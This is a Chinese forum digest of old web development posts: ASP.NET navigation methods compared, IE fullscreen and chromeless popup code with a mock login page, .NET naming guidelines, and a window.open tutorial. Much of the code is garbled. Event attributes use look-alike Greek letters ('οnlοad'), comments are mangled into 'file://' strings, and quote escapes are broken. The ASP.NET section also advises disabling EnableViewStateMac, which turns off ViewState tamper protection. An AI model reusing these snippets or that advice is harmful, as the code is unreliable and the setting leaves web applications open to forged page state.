论坛精华

[转]ASP.NET四种页面导航方式之比较与选择
在ASP.NET应用中,Web表单之间的导航有多种方式:用超级链接,用Response.Redirect,用Server.Transfer,或者用Server.Execute。本文将分析这四种导航方式的异同及其优缺点,帮助你选择最佳的导航方式。  

一、超级链接  

  从一个表单进入另一个表单最简单的方式是使用HTML超级链接控件。在Web表单中,使用超级链接的HTML代码类如:  

<a href="WebForm2.aspx">进入表单2</a> 
 

  当用户点击该超级链接,WebForm2.aspx执行并将结果发送到浏览器。超级链接导航方式几乎可用于任何地方,包括HTML页面和普通的ASP页面。ASP.NET还提供了另一种可替换使用的方法,即HyperLink服务器控件:  

<form id="Form1" method="post" runat="server"> 
    <asp:HyperLink id="HyperLink1" runat="server" 
    NavigateUrl="WebForm2.aspx">进入表单2</asp:HyperLink> 
</form> 
 


  上述HTML代码的运行结果和第一个例子相同,因为ASP.NET把HyperLink Web服务器控件视为一个HTML超级链接控件。但两者有一点重要的区别,HyperLink Web服务器控件可以在服务器端编程。具体地说,可以在程序代码中改变它的NavigateUrl属性,从而允许构造出具体目标可根据应用的当前状态动态变化的超级链接,例如:  

Private Sub Button1_Click( _  
 ByVal sender As System.Object, _ 
 ByVal e As System.EventArgs) _ 
 Handles Button1.Click  
    HyperLink1.NavigateUrl = "WebForm3.aspx"  
End Sub 
 

  这段代码执行后,如果用户点击链接,他看到的将是WebForm3.aspx,而不是WebForm2.aspx。  

二、用程序控制重定向  

  虽然超级链接能够从一个页面导航到另一个页面,但这种导航方式是完全由用户控制的。有些时候,我们可能要用代码来控制整个导航过程,包括何时转到另一个页面。在这些场合,ASP.NET有三种不同的方式可以达到相似的目的:调用Response对象的Redirect方法,调用Server对象的Transfer或Execute方法。这三种导航方式的行为基本相似,但也有区别。  

  2.1 Response.Redirect  

  Response.Redirect方法导致浏览器链接到一个指定的URL。当Response.Redirect()方法被调用时,它会创建一个应答,应答头中指出了状态代码302(表示目标已经改变)以及新的目标URL。浏览器从服务器收到该应答,利用应答头中的信息发出一个对新URL的请求。  

  这就是说,使用Response.Redirect方法时重定向操作发生在客户端,总共涉及到两次与服务器的通信(两个来回):第一次是对原始页面的请求,得到一个302应答,第二次是请求302应答中声明的新页面,得到重定向之后的页面。  

  2.2 Server.Transfer  

  Server.Transfer方法把执行流程从当前的ASPX文件转到同一服务器上的另一个ASPX页面。调用Server.Transfer时,当前的ASPX页面终止执行,执行流程转入另一个ASPX页面,但新的ASPX页面仍使用前一ASPX页面创建的应答流。  

  如果用Server.Transfer方法实现页面之间的导航,浏览器中的URL不会改变,因为重定向完全在服务器端进行,浏览器根本不知道服务器已经执行了一次页面变换。  

  默认情况下,Server.Transfer方法不会把表单数据或查询字符串从一个页面传递到另一个页面,但只要把该方法的第二个参数设置成True,就可以保留第一个页面的表单数据和查询字符串。  

  同时,使用Server.Transfer时应注意一点:目标页面将使用原始页面创建的应答流,这导致ASP.NET的机器验证检查(Machine Authentication Check,MAC)认为新页面的ViewState已被篡改。因此,如果要保留原始页面的表单数据和查询字符串集合,必须把目标页面Page指令的EnableViewStateMac属性设置成False。  

  2.3 Server.Execute  

  Server.Execute方法允许当前的ASPX页面执行一个同一Web服务器上的指定ASPX页面,当指定的ASPX页面执行完毕,控制流程重新返回原页面发出Server.Execute调用的位置。  

  这种页面导航方式类似于针对ASPX页面的一次函数调用,被调用的页面能够访问发出调用页面的表单数据和查询字符串集合,所以要把被调用页面Page指令的EnableViewStateMac属性设置成False。  

  默认情况下,被调用页面的输出追加到当前应答流。但是,Server.Execute方法有一个重载的方法,允许通过一个TextWriter对象(或者它的子对象,例如StringWriter对象)获取被调用页面的输出,而不是直接追加到输出流,这样,在原始页面中可以方便地调整被调用页面输出结果的位置。  

  为说明其工作过程,下面我们创建一个Web表单,放入一个按钮控件(Button1)和一个文本控件(Literal1),在设计界面中转入代码视图,加入一个System.IO名称空间的Imports语句,然后加入用户点击按钮时执行的代码:  

Private Sub Button1_Click( _ 
 ByVal sender As System.Object, _ 
 ByVal e As System.EventArgs) _ 
 Handles Button1.Click 
    Dim sw As StringWriter = New StringWriter() 
    Server.Execute("WebForm2.aspx", sw) 
    Literal1.Text = sw.ToString() 
End Sub 
 

  然后为同一个Web应用创建第二个页面WebForm2.aspx。转入该页面的HTML视图,修改其Page指令禁止ViewState检查:  

<%@ Page Language="vb" AutoEventWireup="false" Codebehind="WebForm2.aspx.vb" 
  Inherits="Navigate.WebForm2" EnableViewStateMac="false"%> 
 

  再转到设计视图,为第二个页面增加一些控件。接下来,把第一个页面设置成默认页面,启动应用。点击按钮,WebForm2的控件将显示在WebForm1中放置Literal按钮的地方,如图一,注意页面标题和URL仍旧显示原始页面WebForm1。  

  

  图一:用Server.Execute合并两个源文件的页面  

  用Server.Transfer或Server.Execute方法实现导航时,还要注意一点:最后得到的页面可能不是合法的HTML页面,因为最终返回给客户端的页面可能包含多个<HTML>和<BODY>等标记。IE浏览器看来能够容忍并正确处理这类情形,但如果用户要用到其他的浏览器,最好仔细测试一下。  

<b>三、比较与选择</b>  

  既然从一个页面导航到另一个页面的办法有这么多,应该如何选择最佳的导航方式呢?下面是一些需要考虑的因素:  

  <b>·</b>如果要让用户来决定何时转换页面以及转到哪一个页面,超级链接最适合。  

  <b>·</b>如果要用程序来控制转换的目标,但转换的时机由用户决定,使用Web服务器的HyperLink控件,动态设置其NavigateUrl属性。  

  <b>·</b>如果要把用户连接到另一台服务器上的资源,使用Response.Redirect。  

  <b>·</b>用Response.Redirect把用户连接到非ASPX的资源,例如HTML页面。  

  <b>·</b>如果要将查询字符串作为URL的一部分保留,使用Response.Redirect。  

  <b>·</b>如果要将执行流程转入同一Web服务器的另一个ASPX页面,应当使用Server.Transfer而不是Response.Redirect,因为Server.Transfer能够避免不必要的网络通信,从而获得更好的性能和浏览效果。  

  <b>·</b>如果要捕获一个ASPX页面的输出结果,然后将结果插入另一个ASPX页面的特定位置,则使用Server.Execute。  

  <b>·</b>如果要确保HTML输出合法,请使用Response.Redirect,不要使用Server.Transfer或Server.Execute方法。  

  本文译自:http://www.ondotnet.com/pub/a/dotnet/2003/04/07/aspnetnav.html  

  原文题目:《Managing ASP.NET Navigation》。  

真正的全屏页面解决之道!(全代码)
真正全屏解决之道:
1.htm
<html>
<head>
<title>无标题文档</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>

<body οnlοad="window.open('fullscreen.htm','','fullscreen=1,scroll=no');">
</body>
</html>


fullscreen.htm
<html>
<head>
<title>无标题文档</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<script language="JavaScript1.2"> 
<!-- 
function opensmallwin(myurl){ 
var w2=300;//想弹出窗口的宽度 
var h2=100;//想弹出窗口的高度 
var w3=window.screen.width/2-w2/2; 
var h3=window.screen.height/2-h2/2; 
window.open(myurl,'small','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=0,width='+ w2 +',height='+ h2 +',left='+ w3 +',top='+ h3 +''); 

//--> 

<!--
function modelesswin(url,mwidth,mheight){
  if (document.all&&window.print)
    eval('window.showModelessDialog(url,"","help:0;resizable:0;status:0;center:1;scroll:0;dialogWidth:'+mwidth+'px;dialogHeight:'+mheight+'px")') 
  else
    eval('window.open(url,"","width='+mwidth+'px,height='+mheight+'px,resizable=1,scrollbars=1")')
  }
//-->

</script> 
</head>

<body  scroll="no">
<div align="right"><a href="javascript:" οnclick="window.close()">关闭</a> </div>
<p></P>
<div align="right"><a href="javascript:" οnclick="opensmallwin('login.htm')">登录</a> </div>

<p></P>
<div align="center"><a href="javascript:" οnclick="modelesswin('login.htm',300,160)">用模态登录窗口</a> </div>
</body>
</html>


login.htm
<html>
<head>
<title>用户登录</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<style type="text/css">
<!--
body {
   background-color: #EAEAEA;
   font-family: Arial, Helvetica, sans-serif;
   font-size: 12px;
   line-height: 24px;
   color: #336699;
}
input.boxline {
   width: 100px;
   font-family: "Times New Roman", "Times", "serif";
   font-size: 9pt;
   border: 1px solid #669999;
   height: 18px;

}

input.whiteline {  
   font-size: 12px; border: 1px #999999 solid
}
-->
</style></head>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="14" bgcolor="#CCCCCC">
  <tr valign="top">
    <td width="10%" nowrap  align="right"><b>用户名:</b></td>
    <td width="90%"><input name="textfield1" type="text" size="25" class="whiteline"></td>
  </tr>
  <tr valign="top">
    <td nowrap align="right"><b>密 码:</b></td>
    <td><input name="textfield12" type="password" size="25" class="whiteline"></td>
  </tr>
  <tr valign="top">
    <td> </td>
    <td><input type="submit" name="Submit" value="登  录" class="boxline"></td>
  </tr>
</table>
</body>
</html>

下面是另一种全屏处理方法,但必须在IE 6.0 SP1以上:

<HTML XMLNS:IE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<IE:Download ID="include" STYLE="behavior:url(#default#download)" />
<title>Chromeless Window</title>

<SCRIPT LANGUAGE="JScript">
/*--- Special Thanks For andot ---*/

/*
 This following code are designed and writen by Windy_sk <
seasonx@163.net>
 You can use it freely, but u must held all the copyright items!
*/

/*--- Thanks For andot Again ---*/

var CW_width   = 400;
var CW_height   = 300;
var CW_top   = 100;
var CW_left   = 100;
var CW_url   = "/";
var New_CW   = window.createPopup();
var CW_Body   = New_CW.document.body;
var content   = "";
var CSStext   = "margin:1px;color:black; border:2px outset;border-style:expression(οnmοuseοut=οnmοuseup=function(){this.style.borderStyle='outset'}, οnmοusedοwn=function(){if(event.button!=2)this.style.borderStyle='inset'});background-color:buttonface;width:16px;height:14px;font-size:12px;line-height:11px;cursor:Default;";

//Build Window
include.startDownload(CW_url, function(source){content=source});

function insert_content(){
   var temp = "";
   CW_Body.style.overflow      = "hidden";
   CW_Body.style.backgroundColor   = "white";
   CW_Body.style.border      =  "solid black 1px";
   content = content.replace(/<a ([^>]*)>/g,"<a οnclick='parent.open(this.href);return false' $1>");
   temp += "<table width=100% height=100% cellpadding=0 cellspacing=0 border=0>";
   temp += "<tr style=';font-size:12px;background:#0099CC;height:20;cursor:default' οndblclick=/"Max.innerText=Max.innerText=='1'?'2':'1';parent.if_max=!parent.if_max;parent.show_CW();/" οnmοuseup='parent.drag_up(event)' οnmοusemοve='parent.drag_move(event)' οnmοusedοwn='parent.drag_down(event)' onselectstart='return false' οncοntextmenu='return false'>";
   temp += "<td style='color:#ffffff;padding-left:5px'>Chromeless Window For IE6 SP1</td>";
   temp += "<td style='color:#ffffff;padding-right:5px;' align=right>";
   temp += "<span id=Help  οnclick=/"alert('Chromeless Window For IE6 SP1  -  Ver 1.0//n//nCode By Windy_sk//n//nSpecial Thanks For andot')/" style=/""+CSStext+"font-family:System;padding-right:2px;/">?</span>";
   temp += "<span id=Min   οnclick='parent.New_CW.hide();parent.blur()' style=/""+CSStext+"font-family:Webdings;/" title='Minimum'>0</span>";
   temp += "<span id=Max   οnclick=/"this.innerText=this.innerText=='1'?'2':'1';parent.if_max=!parent.if_max;parent.show_CW();/" style=/""+CSStext+"font-family:Webdings;/" title='Maximum'>1</span>";
   temp += "<span id=Close οnclick='parent.opener=null;parent.close()' style=/""+CSStext+"font-family:System;padding-right:2px;/" title='Close'>x</span>";
   temp += "</td></tr><tr><td colspan=2>";
   temp += "<div id=include style='overflow:scroll;overflow-x:hidden;overflow-y:auto; HEIGHT: 100%; width:"+CW_width+"'>";
   temp += content;
   temp += "</div>";
   temp += "</td></tr></table>";
   CW_Body.innerHTML = temp;
}

setTimeout("insert_content()",1000);

var if_max = true;
function show_CW(){
   window.moveTo(10000, 10000);
   if(if_max){
      New_CW.show(CW_top, CW_left, CW_width, CW_height);
      if(typeof(New_CW.document.all.include)!="undefined"){
         New_CW.document.all.include.style.width = CW_width;
         New_CW.document.all.Max.innerText = "1";
      }
      
   }else{
      New_CW.show(0, 0, screen.width, screen.height);
      New_CW.document.all.include.style.width = screen.width;
   }
}

window.onfocus  = show_CW;
window.onresize = show_CW;

// Move Window
var drag_x,drag_y,draging=false

function drag_move(e){
   if (draging){
      New_CW.show(e.screenX-drag_x, e.screenY-drag_y, CW_width, CW_height);
      return false;
   }
}

function drag_down(e){
   if(e.button==2)return;
   if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height)return;
   drag_x=e.clientX;
   drag_y=e.clientY;
   draging=true;
   e.srcElement.setCapture();
}

function drag_up(e){
   draging=false;
   e.srcElement.releaseCapture();
   if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height) return;
   CW_top  = e.screenX-drag_x;
   CW_left = e.screenY-drag_y;
}

</SCRIPT>
</HTML>


Re:真正的全屏页面解决之道!(全代码)
自动关掉原窗口:


<html>
<head>
<title>无标题文档</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
body {
   margin-left: 0px;
   margin-top: 0px;
   margin-right: 0px;
   margin-bottom: 0px;
}
-->
</style>
</head>

<body οnlοad="window.open('fullscreen.htm','','fullscreen=1,scroll=no');window.opener=null;window.close()">
<input type=button value=关闭 οnclick="window.opener=null;window.close()"> 
<!-- IE5.5+ 不会有弹出提示 --> 

<OBJECT id=WebBrowser classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2 height=0 width=0></OBJECT> 
<input type=button value=关闭窗口 οnclick=document.all.WebBrowser.ExecWB(45,1)> 
</body>
</html>

关键是在onload事件中加入:
window.opener=null;window.close()


:真正的全屏页面解决之道!(全代码)
fullscreen.htm中,能不能社定为一打开该页面就立即再打开登陆的小窗口?
Re:真正的全屏页面解决之道!(全代码)
当然可以,在onload事件中加入你要打开的窗体即可,如:

<body οnlοad="window.showmodeldialog('login.htm','','width=300;height=200')"

注意,这个showmodeldialog不一定对,你查一下打开模态窗口的方法。

另一全屏代码!
<Script Language="Javascript">
function openIT(url,wname) {
   wname ="CHROMELESSWIN"
   W=640;
   H=480;
   
   
   var windowW = W;
   var windowH = H;
   var windowX = Math.ceil( (window.screen.width  - windowW) / 2 );
   var windowY = Math.ceil( (window.screen.height - windowH) / 2 );

   if (navigator.appName == "Microsoft Internet Explorer" && 

parseInt(navigator.appVersion)>=4) isie=true
   else                              

        isie=false

   if (isie) { H=H+20+2; W=W+2; }

   s = ",width="+W+",height="+H;

   if (isie) {
            splashWin = window.open( "" , "", 

"fullscreen=1,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,res

izable=0"+s)

      splashWin.resizeTo( Math.ceil( W )       , Math.ceil( H ) )
      splashWin.moveTo  ( Math.ceil( windowX ) , Math.ceil( windowY ) )
      splashWin.location = url

   }
   else    var splashWin = window.open(url, wname, 

"toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1"+s, 

true)
   splashWin.focus();
   splashWin.scroll="no";
}

function caps() {
oE=event.srcElement;
if (oE.tagName=="A") {
event.returnValue=false;
openIT(oE.href);
}
return(true);
}
window.document.οnclick=caps;
</script>

<a href="http://www.163.com">网易</a>


在 IE6 + sp1 不能用. 因为window.open fullscreen 后不能 resizeTo一个小窗口.
.NET命名规范中文版
                              .NET命名规范中文版
 


词语选择

避免使用由经常使用的名称空间复制的类型名。类型名不能使用下列词语。

System       Collections   Forms       UI

避免使用与常用关键词冲突的标识符。例如,避免使用下列词语。 

AddHandler 

AddressOf 

Alias 

And 

Ansi 


As 

Assembly 

Auto 

BitAnd 

BitNot 


BitOr 

BitXor 

Boolean 

ByRef 

Byte 


ByVal 

Call 

Case 

Catch 

CBool 


CByte 

CChar 

CDate 

CDec 

CDbl 


Char 

CInt 

Class 

CLng 

CObj 


Const 

CShort 

CSng 

CStr 

CType 


Date 

Decimal 

Declare 

Default 

Delegate 


Dim 

Do 

Double 

Each 

Else 


ElseIf 

End 

Enum 

Erase 

Error 


Event 

Exit 

ExternalSource 

False 

Finally 


For 

Friend 

Function 

Get 

GetType 


Goto  

Handles 

If 

Implements 

Imports 


In 

Inherits 

Integer 

Interface 

Is 


Let 

Lib 

Like 

Long 

Loop 


Me 

Mod 

Module 

MustInherit 

MustOverride 


MyBase 

MyClass 

Namespace 

New 

Next 


Not 

Nothing 

NotInheritable 

NotOverridable 

Object 


On 

Option 

Optional 

Or 

Overloads 


Overridable 

Overrides 

ParamArray 

Preserve 

Private 


Property 

Protected 

Public 

RaiseEvent 

ReadOnly 


ReDim 

Region 

REM 

RemoveHandler 

Resume 


Return 

Select 

Set 

Shadows 

Shared 


Short 

Single 

Static 

Step 

Stop 


String 

Structure 

Sub 

SyncLock 

Then 


Throw 

To 

True 

Try 

TypeOf 


Unicode 

Until 

Variant 

When 

While 


With 

WithEvents 

WriteOnly 

Xor 

eval 


extends 

instanceof 

package 

var 

 


标识符(包括参数名)中不要使用缩写。

如果必须使用缩写:

任何超过两个字符以上的缩写都使用camel大写格式,即使这不是标准缩写。

名称空间

命名名称空间的一般规则如下:

CompanyName.TechnologyName

这样,我们看到的名称空间应该是这样的:

Microsoft.Office

PowerSoft.PowerBuilder

注意:这只是一个原则。第三方公司可以选择其它的名字。

避免用公司名称或其它著名品牌的名称作为名称空间的前缀,这样会造成两个公布的名称空间有同一个名称的可能性。(例如,将微软提供的Office自动类命名为Microsoft.Office。)

使用Pascal大写方式,用逗号分隔逻辑成分(例如,Microsoft.Office.PowerPoint)。如果你的品牌使用的是非传统大写方式,那么一定要遵循你的品牌所确定使用的大写方式,即使这种方式背离了通常的名称空间大写规则(例如,NeXT.WebObjects,和ee.cummings。)

该用复数的时候要使用复数的名称空间名。例如,使用System.Collections而不是System.Collection。本规则的特例是品牌名称和缩写。例如:使用System.IO而不是System.IOs。

名称空间和类不能使用同样的名字。例如,有一个类被命名为Debug后,就不要再使用Debug作为一个名称空间名。

类和类成分

类的命名原则

用名词或名词短语命名类。

使用Pascal大写。

减少类名中缩写的使用量。

不要使用任何类前缀(比如C)。

不要使用带下划线的字符。

下面是一些正确命名的类名的例子。

public class FileStream {

}

public class Button {

}

public class String {

}

接口命名原则

使用名词或名词短语,或者描述行为的形容词来命名接口。例如,IComponent(描述性名词),ICustomAttributeProvider(名词短语),和IPersistable(形容词)。

使用Pascal大写。

减少接口名中缩写的使用量。

不要使用带下划线的字符。

在接口名前加前缀I,以表示这个类型是一个接口。

不要在类名前加上前缀C。偶而情况下,需要在类名前加上I而并不表示它是一个接口。在这种情况下,只要I后面的字符是小写就可(例如,IdentityStore。)

当类是接口的标准执行时,定义这一对类/接口组合就要使用相似的名称。两个名称的不同之处只是接口名前有一个I前缀。

下面我们举个例子,来看看接口IComponent和它的标准执行,类Component。

public interface IComponent {

}

public class Component : IComponent {

}

public interface IServiceProvider{

}

public interface IFormatable {

}

属性命名原则

在属性的后面加上Attribute后缀,来自定义属性类。如下例所示。

public class ObsoleteAttribute{

}

Enum命名原则

Enum需使用Pascal大写。

Enum值名需使用Pascal大写。

减少enum名中缩写的使用量。

Enum名前不要加前缀(例如,adxxx表示ADO enums,rtfxxx表示多信息文本enum,等等。)。

在enum类型上不要加Enum后缀。

Enum名称需使用单数名词。

比特域使用复数名词。

如果列举值在参数或属性中使用,需用一个enum来定义列举值。这样工具就可以知道一个属性或参数可能的值了。

public enum FileMode{

Create,

CreateNew,

Open,

OpenOrCreate,

Truncate

}

如果数字值to be bitwise or'ed together,就使用Flags对属性进行自定义。

[Flags]

public enum Bindings {

CreateInstance,

DefaultBinding,

ExcatBinding,

GetField,

GetProperty,

IgnoreCase,

InvokeMethod,

NonPublic,

OABinding,

SetField

SetProperty,

Static

}

在封装一个Win32 API时,这个规则有一个特例。从一个Win32标头产生内部定义是很常见的。你可以使用Win32大写,这种形式下字母通常全部大写。

使用Int32作为一个enum的基础类型。

如果这个enum代表标志,而且标志又非常多(大于32),或者这个enum在将来可以发展成许多标志,或者类型需要与类型int有所不同以便向后兼容时,在这种情况下就产生了特例。

只有在值可以被完全表示为一组位标志时,才使用enum。开集不能使用enum(例如操作系统版,等等)。

只读和Const字段名

用名词,名词短语,或名词的缩写命名静态字段。

用Pascal大写命名静态字段。

不要用匈牙利文类型的符号作静态字段名的前缀。

参数名

使用描述性参数名。参数名应该具有足够的描述性,这样在大多数情况下参数名和它的种类可以用来确定它的意思。

用camel大写方式命名参数。

根据参数的意思来命名参数,而不是根据参数的种类来命名。我们希望开发工具可以用很方便的方式提供关于参数种类的信息,这样参数名可以得到更好的使用,可以对语义而不是对种类进行描述。但是偶尔使用根据类型命名的参数名也是完全可以的。

不要使用保留参数。如果在下一个版本中需要更多的数据,可以增加进来。

不要用匈牙利文类型的符号作为字段名的前缀。

Type GetType (string typeName)

string Format (string format, object [] args)

方法命名原则

用动词或动词短语命名方法。

用下述范例所示的Pascal大写方式命名方法。

RemoveAll()

GetCharArray()

Invoke()

属性命名原则

用名词或名词短语命名属性。

用Pascal大写命名属性。

属性与类型要一样。

用与一个类型的名称相同的名字来命名属性时,就使这个属性的类型成为那个类型。虽然听起来有些奇怪,但这是正确的。下面的例子正确使用了属性命名原则。

public enum Color {...} 

public class Control {

public Color Color { get {...} set {...} } 

}

下例就是不正确的。

public enum Color {...}

public class Control {

public int Color { get {...} set {...} }

}

在那个不正确的例子中,要想引用Color enum是不可能的,因为Color,Xxx会被翻译成一个成员访问,它会首先获得Color属性的值(int种类),然后再访问那个值的成员(它应该是System.Int32的一个实例成员)。

事件命名原则

用EventHandloer后缀命名事件处理程序,如下列所示。

public delegate void MouseEventHandler(object sender, MouseEvent e);

使用名为sender和e的两个参数。

Sender参数代表提出事件的对象。Sender参数永远是一个类型对象,即使它可能使用了更为特定的类型。

与事件相关的状态被封装在一个名为e的事件类范例中。要使用这个类型的正确的、特定的事件类。

public delegate void MouseEventHandler(object sender, MouseEvent e);

用EventArgs后缀命名事件自变量类,如下例所示。

public class MouseEventArgs : EventArgs {

int x;

int y;

public MouseEventArgs(int x, int y)

{ this.x = x; this.y = y; }

public int X { get { return x; } }

public int Y { get { return y; } }

}

命名事件名时,需要有之前和之后的时态概念,因此要使用现在时态和过去时态(不要使用BeforeXxx/AfterXxx的方式)。例如,可以被取消的结束事件就有Closing事件和Closed事件。

public event ControlEventHandler ControlAdded {

//..

}

用动词命名事件。

区分大小写

不要使用需要对大小写作出区分的名称。各成分不论是在区分大小写还是不区分大小写的语言下都必须是完全可用的。因为不区分大小写的语言不能在同样的环境下对只有大小写不同的两个名称作出辩别,所以成分必须避免这种情况。

不要产生两个名称相同只有大小写不同的名称空间。

namespace ee.cummings;

namespace Ee.Cummings;

带有两个参数的一个类型,其两个参数的名称不能只有大小写不同。

void foo(string a, string A)

System.WinForms.Point p;

System.WinForms.POINT pp;

带有两个属性的一个类型,其属性的名称不能只有大小写不同。

int Foo {get, set};

int FOO {get, set}

带有两种方法的一个类型,其方法的名称不能只有大小写不同。

void foo();

void Foo();

避免类型名出现混淆

不同的语言使用不同的术语以识别基本管理类型。设计人员必须避免使用对语言有专门要求的术语。遵照本章说明的规则,避免出现类型名称混淆的情况。

使用语义上有意义的名称,而不要使用类型名称。

在很少见的情况下,参数除了类型以外语义上没有任何意义,这时使用类属名。例如,一个类支持将多种数据类型写进一个流中,这个类可能有下列方法:

void Write(double value);

void Write(float value);

void Write(long value);

void Write(int value);

void Write(short value);

上面的例子在下述对语言有专门要求的情况下是首选。

void Write(double doubleValue);

void Write(float floatValue);

void Write(long longValue);

void Write(int intValue);

void Write(short shortValue);

在极端情况下,每一个基本数据类型需要有唯一的命名方式,此时使用下面的通用类型名称。 

C# type name 

Visual Basic type name 

JScript type name 

Visual C++ type name 

IL representation 

Universal type name 


sbyte 

SByte 

SByte 

char 

I1 

SByte 


byte 

Byte 

byte 

unsigned char 

U1 

Byte 


short 

Short 

short 

short 

I2 

Int16 


ushort 

UInt16 

UInt16 

unsigned short 

U2 

UInt16 


int 

Integer 

int 

int 

I4 

Int32 


uint 

NA 

NA 

unsigned int 

U4 

UInt32 


long 

Long 

long 

__int64 

I8 

Int64 


ulong 

UInt64 

UInt64 

Unsigned __int64 

U8 

UInt64 


float 

Single 

float 

float 

R4 

Single 


double 

Double 

double 

double 

R8 

Double 


bool 

Boolean 

boolean 

bool 

I4 

Boolean 


char 

Char 

char 

wchar_t 

U2 

Char 


string 

String 

String 

String 

System.String 

String 


object 

Object 

Object 

Object 

System.Object 

Object 


一个支持从流中读取多种数据类型的类可以有下列方法。

double ReadDouble();

float ReadSingle();

long ReadIn64();

int ReadInt32();

short ReadInt16();

上面的例子在下述对语言有专门要求的情况下是首选。

double ReadDouble();

float ReadFloat();

long ReadLong();

int ReadInt();

short ReadShort(); 


玩透弹出窗口
【1、最基本的弹出窗口代码】 

其实代码非常简单: 

<SCRIPT LANGUAGE="javascript"> 
<!-- 
window.open ('page.html') 
--> 
</SCRIPT> 
因为着是一段javascripts代码,所以它们应该放在<SCRIPT LANGUAGE="javascript">标签和</script>之间。<!-- 和 -->是对一些版本低的浏览器起作用,在这些老浏览器中不会将标签中的代码作为文本显示出来。要养成这个好习惯啊。 
window.open ('page.html') 用于控制弹出新的窗口page.html,如果page.html不与主窗口在同一路径下,前面应写明路径,绝对路径(
http://)/和相对路径(../)均可。用单引号和双引号都可以,只是不要混用。 
这一段代码可以加入HTML的任意位置,<head>和</head>之间可以,<body>间</body>也可以,越前越早执行,尤其是页面代码长,又想使页面早点弹出就尽量往前放。 


【2、经过设置后的弹出窗口】 

下面再说一说弹出窗口的设置。只要再往上面的代码中加一点东西就可以了。 
我们来定制这个弹出的窗口的外观,尺寸大小,弹出的位置以适应该页面的具体情况。 
<SCRIPT LANGUAGE="javascript"> 
<!-- 
window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no') 
file://写/成一行 
--> 
</SCRIPT> 
参数解释: 
<SCRIPT LANGUAGE="javascript"> js脚本开始; 
window.open 弹出新窗口的命令; 
'page.html' 弹出窗口的文件名; 
'newwindow' 弹出窗口的名字(不是文件名),非必须,可用空''代替; 
height=100 窗口高度; 
width=400 窗口宽度; 
top=0 窗口距离屏幕上方的象素值; 
left=0 窗口距离屏幕左侧的象素值; 
toolbar=no 是否显示工具栏,yes为显示; 
menubar,scrollbars 表示菜单栏和滚动栏。 
resizable=no 是否允许改变窗口大小,yes为允许; 
location=no 是否显示地址栏,yes为允许; 
status=no 是否显示状态栏内的信息(通常是文件已经打开),yes为允许; 
</SCRIPT> js脚本结束 


【3、用函数控制弹出窗口】 

下面是一个完整的代码。 
<html> 
<head> 
<script LANGUAGE="JavaScript"> 
<!-- 
function openwin() { window.open ("page.html", "newwindow", "height=100, width=400, toolbar= 
no, menubar=no, scrollbars=no, resizable=no, location=no, status=no") 
file://写/成一行 

file://--/
</script> 
</head> 
<body οnlοad="openwin()"> 
...任意的页面内容... 
</body> 
</html> 
这里定义了一个函数openwin(),函数内容就是打开一个窗口。在调用它之前没有任何用途。 
怎么调用呢? 
方法一:<body οnlοad="openwin()"> 浏览器读页面时弹出窗口; 
方法二:<body οnunlοad="openwin()"> 浏览器离开页面时弹出窗口; 
方法三:用一个连接调用: 
<a href="#" οnclick="openwin()">打开一个窗口</a> 
注意:使用的“#”是虚连接。 
方法四:用一个按钮调用: 
<input type="button" οnclick="openwin()" value="打开窗口"> 

【4、同时弹出2个窗口】 

对源代码稍微改动一下: 
<script LANGUAGE="JavaScript"> 
<!-- 
function openwin() 
{ window.open ("page.html", "newwindow", "height=100, width=100, top=0,left=0,toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no") 
file://写/成一行 
window.open ("page2.html", "newwindow2", "height=100, width=100, top=100, left=100,toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no") 
file://写/成一行 

file://--/
</script> 
为避免弹出的2个窗口覆盖,用top和left控制一下弹出的位置不要相互覆盖即可。最后用上面说过的四种方法调用即可。 

注意:2个窗口的name(newwindows和newwindow2)不要相同,或者干脆全部为空。OK? 

【5、主窗口打开文件1.htm,同时弹出小窗口page.html】 

如下代码加入主窗口<head>区: 
<script language="javascript"> 
<!-- 
function openwin() 
{window.open("page.html","","width=200,height=200") 

file://--/
</script> 
加入<body>区: 
<a href="1.htm" οnclick="openwin()">open</a>即可。 

【6、弹出的窗口之定时关闭控制】 

下面我们再对弹出的窗口进行一些控制,效果就更好了。如果我们再将一小段代码加入弹出的页面(注意是加入到page.html的HTML中,可不是主页面中,否则...),让它10秒后自动关闭是不是更酷了? 

首先,将如下代码加入page.html文件的<head>区: 
<script language="JavaScript"> 
function closeit() 
{setTimeout("self.close()",10000) file://毫/秒} 
</script> 
然后,再用<body οnlοad="closeit()"> 这一句话代替page.html中原有的<BODY>这一句就可以了。(这一句话千万不要忘记写啊!这一句的作用是调用关闭窗口的代码,10秒钟后就自行关闭该窗口。) 

【7、在弹出窗口中加上一个关闭按钮】 

<FORM> 
<INPUT TYPE='BUTTON' VALUE='关闭' onClick='window.close()'> 
</FORM> 
呵呵,现在更加完美了! 

【8、内包含的弹出窗口-一个页面两个窗口】 

上面的例子都包含两个窗口,一个是主窗口,另一个是弹出的小窗口。 

通过下面的例子,你可以在一个页面内完成上面的效果。 
<html> 
<head> 
<SCRIPT LANGUAGE="JavaScript"> 
function openwin() 
{OpenWindow=window.open("", "newwin", "height=250, width=250,toolbar=no,scrollbars="+scroll+",menubar=no"); 
file://写/成一行 
OpenWindow.document.write("<TITLE>例子</TITLE>") 
OpenWindow.document.write("<BODY BGCOLOR=#ffffff>") 
OpenWindow.document.write("<h1>Hello!</h1>") 
OpenWindow.document.write("New window opened!") 
OpenWindow.document.write("</BODY>") 
OpenWindow.document.write("</HTML>") 
OpenWindow.document.close()} 
</SCRIPT> 
</head> 
<body> 
<a href="#" οnclick="openwin()">打开一个窗口</a> 
